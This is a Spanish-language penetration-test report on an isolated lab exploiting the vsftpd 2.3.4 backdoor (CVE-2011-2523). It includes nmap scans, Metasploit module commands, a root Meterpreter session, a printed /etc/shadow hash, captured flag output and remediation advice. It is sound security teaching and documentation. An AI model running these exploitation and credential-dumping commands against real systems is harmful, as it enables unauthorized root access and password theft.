

INFORME DE PENTESTING

Evaluación de seguridad ofensiva

Objetivo: Servicio FTP — vsftpd 2.3.4

Host 172.17.0.2 · Laboratorio aislado

Tipo de prueba	Caja negra (black-box), red interna
Objetivo	172.17.0.2 (TCP/21 — FTP)
Máquina atacante	Kali Linux — 172.17.0.1
Fecha de la prueba	02 de octubre de 2026
Clasificación	CONFIDENCIAL
Estado	Compromiso total (root)

Documento CONFIDENCIAL — distribución restringida

Aviso legal y de confidencialidad

Este documento contiene información sensible sobre vulnerabilidades de seguridad identificadas en el sistema evaluado. Su divulgación no autorizada podría facilitar un ataque real contra dicho sistema. La distribución queda restringida al personal autorizado.

Autorización y alcance. Todas las actividades descritas en este informe se realizaron exclusivamente dentro de un laboratorio de pruebas aislado, propiedad del autor, sin conexión con sistemas de producción ni de terceros. Ninguna técnica se ejecutó fuera del perímetro autorizado. Este informe tiene finalidad formativa y de documentación de un ejercicio práctico de red team.

Recordatorio ético. Las técnicas aquí documentadas solo deben aplicarse sobre sistemas propios o sobre entornos que autoricen explícitamente la prueba por escrito. Su uso contra sistemas de terceros sin autorización constituye un delito.

Índice de contenidos

Aviso legal y de confidencialidad	2
1. Resumen ejecutivo	4
2. Alcance y metodología	5
3. Resumen de hallazgos	6
4. Narrativa del ataque (cadena de intrusión)	7
5. Hallazgos detallados	8
H-01 · Backdoor en vsftpd 2.3.4 (CVE-2011-2523) — Crítica	8
H-02 · Acceso FTP anónimo habilitado — Media	10
H-03 · Exposición de hashes de contraseñas — Alta	11
H-04 · Banner engañoso y fuga de información — Info	12
6. Recomendaciones de remediación	13
7. Conclusiones	14
8. Anexos	15

1. Resumen ejecutivo

Se llevó a cabo una evaluación de seguridad ofensiva (pentest) sobre el host 172.17.0.2, que exponía un servicio FTP en el puerto TCP/21. El objetivo era determinar si un atacante no autenticado y situado en la misma red podía comprometer el sistema.

El resultado fue un compromiso total del sistema en cuestión de minutos. El servicio FTP ejecutaba vsftpd 2.3.4, una versión que contiene una puerta trasera (backdoor) deliberadamente introducida en el código fuente distribuido en 2011 (CVE-2011-2523). Su explotación otorga directamente una shell con privilegios de superusuario (root), sin necesidad de credenciales válidas.

Una vez obtenido el acceso root, se verificó la posibilidad de leer archivos sensibles del sistema, incluyendo la base de datos de contraseñas (/etc/shadow) y datos confidenciales almacenados en el directorio del administrador. Esto confirma un impacto de máxima gravedad sobre la confidencialidad, la integridad y la disponibilidad del sistema.

Valoración global del riesgo

RIESGO GLOBAL	ACCESO OBTENIDO	ESFUERZO DEL ATAQUE
CRÍTICO	root (uid=0)	Trivial

Síntesis para dirección

Un atacante con acceso a la red del sistema podría tomar control completo de la máquina de forma inmediata y sin apenas conocimientos técnicos, dado que existe un exploit público y automatizado. La causa raíz es el uso de software obsoleto y manipulado. La prioridad absoluta es retirar o actualizar ese servicio. El detalle técnico y las medidas correctoras se desarrollan en las secciones siguientes.

2. Alcance y metodología

2.1 Alcance (scope)

- Objetivo autorizado: host 172.17.0.2 dentro de la red interna aislada del laboratorio.
- Servicios en alcance: todos los expuestos por el host objetivo (se identificó FTP en TCP/21).
- Fuera de alcance: cualquier sistema ajeno al laboratorio, la red doméstica del operador e Internet.
- Ventana de ejecución: 02/10/2026.

2.2 Reglas de enfrentamiento (Rules of Engagement)

Al tratarse de un laboratorio propio y aislado, el operador poseía autorización total sobre el objetivo. No obstante, el ejercicio se documentó siguiendo las prácticas de un encargo profesional: respeto estricto del perímetro, registro de todos los comandos y evidencias, y ausencia de impacto sobre sistemas externos.

2.3 Metodología

La evaluación siguió una metodología estándar de pruebas de intrusión, alineada con las fases de una operación real y con la matriz MITRE ATT&CK:

Fase	Actividad	Herramientas / técnica
1	Reconocimiento y enumeración de servicios	Nmap (-sC -sV, scripts NSE)
2	Identificación de vulnerabilidades	Nmap NSE (--script vuln, ftp-anon)
3	Explotación y acceso inicial	Metasploit Framework / netcat
4	Post-explotación	Shell interactiva, enumeración local
5	Documentación de evidencias	Capturas y registro de comandos

3. Resumen de hallazgos

Durante la evaluación se identificaron los siguientes hallazgos, ordenados por severidad:

ID	Hallazgo	Severidad	CVSS 3.1
H-01	Backdoor en vsftpd 2.3.4 (CVE-2011-2523) — RCE como root	Crítica	10.0
H-02	Acceso FTP anónimo habilitado	Media	5.3
H-03	Exposición de hashes de contraseñas del sistema	Alta	—
H-04	Banner de servicio engañoso / fuga de información	Info	—

Nota: H-03 y H-04 son consecuencia directa del compromiso logrado mediante H-01; se documentan por su valor para la evaluación de impacto y la remediación.

4. Narrativa del ataque (cadena de intrusión)

Esta sección resume de forma cronológica el camino seguido desde el primer escaneo hasta el control total del sistema, para ilustrar cómo encadenó un atacante los distintos hallazgos.

Paso 1 — Descubrimiento. Un escaneo con Nmap reveló el puerto 21/FTP abierto, con login anónimo permitido, y un segundo puerto inusual (6200) abierto. El servicio se anunciaba como vsftpd.

Paso 2 — Identificación. Los scripts de vulnerabilidades de Nmap identificaron el servicio como vsftpd 2.3.4, afectado por el backdoor CVE-2011-2523, y lo marcaron como explotable.

Paso 3 — Explotación. Se empleó el módulo de Metasploit correspondiente, que activa la puerta trasera y entrega una sesión con privilegios de root de forma automatizada.

Paso 4 — Post-explotación. Con la shell de root se enumeró el sistema de archivos, se accedió a /etc/shadow (hashes de contraseñas) y se localizó información confidencial en el directorio del administrador, confirmando el compromiso total.

5. Hallazgos detallados

H-01 · Backdoor en vsftpd 2.3.4 (CVE-2011-2523)

CRÍTICA

CVE	CVE-2011-2523
CVSS 3.1	10.0 (Crítica) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Activo afectado	172.17.0.2 — TCP/21 (FTP)
Categoría	Ejecución remota de código / software malicioso
MITRE ATT&CK	T1190 (Exploit Public-Facing Application)

Descripción

El servicio FTP ejecuta vsftpd en la versión 2.3.4. En julio de 2011, el archivo distribuido oficialmente de esta versión fue manipulado para incluir una puerta trasera. El mecanismo es el siguiente: si un cliente se autentica con un nombre de usuario que termina en la secuencia ":" (una "cara sonriente"), el servicio abre una shell de comandos con privilegios de root a la escucha en el puerto TCP/6200 de la propia máquina víctima.

Esto permite a cualquier atacante no autenticado con acceso de red obtener control total del sistema, sin necesidad de conocer ninguna credencial.

Evidencia 1 — El escaneo de servicios revela FTP, login anónimo y el puerto 6200 abierto

```
(kali@kali)-[~]
$ nmap -sC -sV -p- 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-02 08:53 -0400
Nmap scan report for 172.17.0.2
Host is up (0.0000020s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp      vsftpd 2.0.8 or later
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 172.17.0.1
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_At session startup, client count was 4
|_vsFTPD 3.0.3 - secure, fast, stable
|_End of status
6200/tcp  open  lm-x?
MAC Address: 1E:B7:BE:04:91:96 (Unknown)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.83 seconds

(kali@kali)-[~]
$
```

Figura 1. nmap -sC -sV: puerto 21/FTP (vsftpd) con login anónimo permitido y puerto 6200/tcp abierto (el puerto que usa la puerta trasera).

Evidencia 2 — Confirmación de la vulnerabilidad mediante scripts NSE

```
(kali㉿kali)-[~]
$ nmap -p21 --script vuln 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-02 08:59 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000054s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
| ftp-vsftpd-backdoor:
|   VULNERABLE:
|   vsFTPD version 2.3.4 backdoor
|   State: VULNERABLE (Exploitable)
|   IDs: CVE:CVE-2011-2523 BID:48539
|   vsFTPD version 2.3.4 backdoor, this was reported on 2011-07-04.
|   Disclosure date: 2011-07-03
|   Exploit results:
|   Shell command: id
|   Results: uid=0(root) gid=0(root) groups=0(root)
|   References:
|   https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523
|   https://www.securityfocus.com/bid/48539
|   https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb
|   http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html
MAC Address: 1E:B7:BE:04:91:96 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 14.25 seconds
```

Figura 2. nmap --script vuln: identifica el backdoor de vsFTPD 2.3.4, estado "VULNERABLE (Exploitable)", CVE-2011-2523. El propio script ejecuta "id" y obtiene uid=0(root).

Evidencia 3 — Explotación: sesión Meterpreter y shell de root

```
[*] Started reverse TCP handler on 172.17.0.1:4444
[!] 172.17.0.2:21 - AutoCheck is disabled, proceeding with exploitation
[!] 172.17.0.2:21 - The port used by the backdoor bind listener is already open. Trying...
[!] 172.17.0.2:21 - Unable to connect to backdoor on 6200/TCP. Cooldown?
[*] Meterpreter session 1 opened (172.17.0.1:4444 → 172.17.0.2:58344) at 2026-10-02 09:06:46 -0400

meterpreter >
meterpreter > shell
Process 149 created.
Channel 1 created.
id
uid=0(root) gid=0(root) groups=0(root)
```

Figura 3. Metasploit entrega una sesión Meterpreter; el comando "id" en la shell devuelve uid=0(root) gid=0(root): control total del sistema.

Impacto

Compromiso total del sistema (confidencialidad, integridad y disponibilidad). Con privilegios de root, un atacante puede leer o modificar cualquier archivo, instalar software persistente, pivotar hacia otros sistemas de la red y borrar los registros de actividad.

Observación técnica

Es reseñable que el banner de estado del servicio anunciaba "vsFTPD 3.0.3 - secure, fast, stable" (ver Figura 1), mientras que el comportamiento real corresponde a la versión 2.3.4 vulnerable. Nunca debe confiarse únicamente en el banner para determinar la versión: la validación activa (scripts de vulnerabilidad y prueba de explotación) es la que confirmó el hallazgo.

H-02 · Acceso FTP anónimo habilitado**MEDIA**

CVSS 3.1	5.3 (Media) — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
Activo afectado	172.17.0.2 — TCP/21 (FTP)
Categoría	Configuración insegura / control de acceso
MITRE ATT&CK	T1078.001 (Valid Accounts: Default Accounts)

Descripción

El servidor FTP permite el inicio de sesión anónimo (respuesta "FTP code 230: Anonymous FTP login allowed"). Esto habilita a cualquier usuario sin credenciales a conectarse al servicio y, según los permisos configurados, listar y descargar archivos del área pública.

Evidencia

```
(kali㉿kali)-[~]
$ nmap -p21 --script ftp-anon 172.17.0.2
Starting Nmap 7.99 ( https://nmap.org ) at 2026-10-02 08:59 -0400
Nmap scan report for 172.17.0.2
Host is up (0.000033s latency).

PORT      STATE SERVICE
21/tcp    open  ftp
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
MAC Address: 1E:B7:BE:04:91:96 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 4.12 seconds

(kali㉿kali)-[~]
$
```

Figura 4. nmap --script ftp-anon confirma de forma aislada que el login anónimo está permitido (FTP code 230).

Impacto

Aunque por sí solo su impacto es moderado, el acceso anónimo amplía la superficie de ataque: facilita la enumeración de contenidos y, si existieran directorios con permiso de escritura, podría permitir la subida de archivos maliciosos. En este caso se confirmó la exposición de archivos en /var/ftp/pub (hint.txt, README.txt).

H-03 · Exposición de hashes de contraseñas del sistema**ALTA**

Activo afectado	172.17.0.2 — /etc/shadow
Categoría	Post-explotación / exposición de credenciales
MITRE ATT&CK	T1003.008 (OS Credential Dumping: /etc/passwd and /etc/shadow)
Precondición	Acceso root obtenido mediante H-01

Descripción

Tras obtener privilegios de root, se accedió al archivo /etc/shadow, que almacena los hashes de las contraseñas de los usuarios. Se identificó el hash de la cuenta "ftpuuser", en formato SHA-512 (prefijo \$6\$). Un hash de este tipo puede someterse a ataques de recuperación de contraseña offline (p. ej. con Hashcat o John the Ripper); si la contraseña es débil, se obtendría en texto claro, con riesgo de reutilización en otros sistemas.

Evidencia

```

root:*:20182:0:99999:7:::
daemon:*:20182:0:99999:7:::
bin:*:20182:0:99999:7:::
sys:*:20182:0:99999:7:::
sync:*:20182:0:99999:7:::
games:*:20182:0:99999:7:::
man:*:20182:0:99999:7:::
lp:*:20182:0:99999:7:::
mail:*:20182:0:99999:7:::
news:*:20182:0:99999:7:::
uucp:*:20182:0:99999:7:::
proxy:*:20182:0:99999:7:::
www-data:*:20182:0:99999:7:::
backup:*:20182:0:99999:7:::
list:*:20182:0:99999:7:::
irc:*:20182:0:99999:7:::
gnats:*:20182:0:99999:7:::
nobody:*:20182:0:99999:7:::
_apt:*:20182:0:99999:7:::
ftpuser:$6$e1aTnr5wMQ3IGng6$Fp00SuVSBaTE.DvJhSxI7EQJVUfu71d5hRdKTFWDLd/24jCePaWrq804aa0iH/Z7sirWpZ7c5fgYttRAVplfN.:
20504:0:99999:7:::

```

Figura 5. Contenido de /etc/shadow: se observa el hash SHA-512 de la cuenta "ftpuuser", susceptible de cracking offline.

Impacto

La obtención de contraseñas en claro permitiría movimiento lateral y persistencia mediante credenciales legítimas, más difíciles de detectar que un exploit. Representa la antesala de la fase de movimiento lateral en un entorno con varios sistemas.

H-04 · Banner engañoso y fuga de información

INFO

Activo afectado	172.17.0.2 — TCP/21
Categoría	Divulgación de información
MITRE ATT&CK	T1592 / T1083 (File and Directory Discovery)

Descripción

El servicio expone información a través de su banner y del estado de la sesión FTP (versión anunciada, tiempos de sesión, dirección del cliente conectado). Además, la enumeración del sistema tras el compromiso reveló archivos "pista" y datos confidenciales accesibles. Aunque de bajo impacto directo, esta información acelera la fase de reconocimiento del atacante.

Evidencia — Enumeración local y acceso a datos confidenciales

```

root@vsftpd:/# find / -name "*.txt" 2>/dev/null
find / -name "*.txt" 2>/dev/null
/var/ftp/pub/hint.txt
/var/ftp/pub/README.txt
/root/flag.txt
/usr/share/doc/mount/mount.txt
root@vsftpd:/# cat /root/flag.txt
cat /root/flag.txt
VSFTPD{vsftpd_234_b4ckd00r_sm1l3y_f4c3}
root@vsftpd:/#

```

Figura 6. Búsqueda con `find` de archivos de texto; localización y lectura de `/root/flag.txt`, dato confidencial accesible solo por `root`.

```

IP del laboratorio: 172.17.0.2

Ingresa la flag (formato VSFTPD{...}):
Flag incorrecta. Intenta de nuevo (1/5):
Ingresa la flag: VSFTPD{FsFtGLwYLL}
Flag incorrecta. Intenta de nuevo (2/5):
Ingresa la flag: VSFTPD{vsftpd_234_b4ckd00r_sm1l3y_f4c3}
¡Felicitaciones! Has explotado VSFTPD 2.3.4.

FECHA Y HORA: 2026-10-02 09:20:02 -0400

[*] Presiona Ctrl+C para eliminar el laboratorio
[]

```

```

usr
var
root@vsftpd:/# cd /home
cd /home
root@vsftpd:/home# ls
ls
ftpuser
root@vsftpd:/home# cd ftpuser
cd ftpuser
root@vsftpd:/home/ftpuser# ls
ls
root@vsftpd:/home/ftpuser# cd ..
cd ..
root@vsftpd:/home# cd ..
cd ..
root@vsftpd:/# find / -name "VSFTPD" 2>/dev/null
find / -name "VSFTPD" 2>/dev/null
root@vsftpd:/# find / -name "*.txt" 2>/dev/null
find / -name "*.txt" 2>/dev/null
/var/ftp/pub/hint.txt
/var/ftp/pub/README.txt
/root/flag.txt
/usr/share/doc/mount/mount.txt
root@vsftpd:/# cat /root/flag.txt
cat /root/flag.txt
VSFTPD{vsftpd_234_b4ckd00r_sm1l3y_f4c3}
root@vsftpd:/#

```

Figura 7. Confirmación del compromiso por parte del entorno de laboratorio y traza de la enumeración del sistema de archivos (navegación por `/home/ftpuser`, `/root`, etc.).

6. Recomendaciones de remediación

Las medidas se presentan por prioridad. La primera es imprescindible y resuelve el riesgo crítico; el resto refuerza la postura de seguridad del servicio.

Prioridad 1 — Inmediata (resuelve H-01)

- Retirar por completo la versión vsftpd 2.3.4. Es software manipulado; no existe parche: debe eliminarse.
- Reinstalar vsftpd desde los repositorios oficiales de la distribución, en su versión actual y mantenida, verificando la integridad del paquete (firma/checksum oficial).
- Si el servicio FTP no es estrictamente necesario, desactivarlo y cerrar el puerto 21.
- Bloquear o investigar el puerto 6200/TCP: su apertura es el indicador del backdoor activo.

Prioridad 2 — Corto plazo

- Deshabilitar el acceso FTP anónimo (parámetro anonymous_enable=NO) salvo que exista una necesidad justificada (H-02).
- Sustituir FTP en texto plano por una alternativa cifrada (FTPS o, preferiblemente, SFTP sobre SSH), ya que FTP transmite credenciales y datos sin cifrar.
- Forzar contraseñas robustas y únicas para todas las cuentas del sistema, mitigando el riesgo de cracking de los hashes expuestos (H-03). Rotar las credenciales que hayan podido quedar comprometidas.

Prioridad 3 — Refuerzo (defensa en profundidad)

- Segmentar la red y aplicar reglas de firewall que limiten qué orígenes pueden alcanzar el servicio.
- Minimizar la información expuesta en los banners de servicio.
- Implantar monitorización y registro (logs) centralizados para detectar conexiones anómalas, como autenticaciones con nombres de usuario sospechosos o conexiones al puerto 6200.
- Establecer un proceso de gestión de vulnerabilidades y actualización periódica del software.

Tabla resumen de remediación

ID	Acción correctora principal	Prioridad
H-01	Eliminar vsftpd 2.3.4 y reinstalar versión oficial / desactivar FTP	Inmediata
H-02	Deshabilitar login anónimo; migrar a SFTP/FTPS	Corto plazo
H-03	Contraseñas robustas y rotación de credenciales	Corto plazo
H-04	Reducir banners; monitorizar y segmentar la red	Refuerzo

7. Conclusiones

El sistema evaluado presentaba una vulnerabilidad crítica que permitió su compromiso total de forma inmediata, sin autenticación y con herramientas públicas y automatizadas. La causa raíz —ejecución de una versión de software obsoleta y maliciosa (vsftpd 2.3.4)— es representativa de uno de los vectores de intrusión más frecuentes en entornos reales: el software sin actualizar.

El ejercicio ilustra con claridad por qué el reconocimiento riguroso y la validación activa de versiones son determinantes: el banner del servicio anunciaba una versión segura, pero la comprobación real reveló lo contrario. También demuestra el valor de la cadena completa, desde el primer escaneo hasta la post-explotación, para evaluar el impacto real más allá de la simple existencia de una vulnerabilidad.

Aplicando la recomendación de prioridad inmediata, el riesgo crítico queda eliminado. El resto de medidas elevan la madurez de seguridad del servicio y reducen la superficie de ataque frente a futuros intentos.

8. Anexos

Anexo A — Comandos utilizados

Reconocimiento y enumeración:

```
nmap -sC -sV -p 21 --script vuln 172.17.0.2
nmap -sC -sV -p- 172.17.0.2
nmap -p21 --script ftp-anon 172.17.0.2
nmap -p21 --script vuln 172.17.0.2
```

Explotación (Metasploit):

```
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 172.17.0.2
set AutoCheck false
run
```

Post-explotación:

```
id # uid=0(root) gid=0(root) groups=0(root)
cat /etc/shadow
find / -name "*.txt" 2>/dev/null
cat /root/flag.txt
```

Anexo B — Cronología (timeline)

Hora (aprox.)	Evento
08:53	Escaneo inicial con Nmap: FTP, login anónimo y puerto 6200 detectados.
08:59	Confirmación de la vulnerabilidad vsftpd 2.3.4 (CVE-2011-2523).
09:06	Explotación: sesión Meterpreter con privilegios de root.
09:15	Post-explotación: acceso a /etc/shadow y enumeración del sistema.
09:20	Localización y lectura de datos confidenciales (/root/flag.txt).

Anexo C — Dato de verificación capturado

Como prueba de acceso a información accesible únicamente por root se recuperó el siguiente valor del archivo /root/flag.txt:

```
VSFTPD{vsftpd_234_b4ckd00r_sm1l3y_f4c3}
```

Anexo D — Referencias

- CVE-2011-2523 — <https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-2523>
- MITRE ATT&CK — <https://attack.mitre.org/>
- Módulo Metasploit vsftpd_234_backdoor (rapid7/metasploit-framework).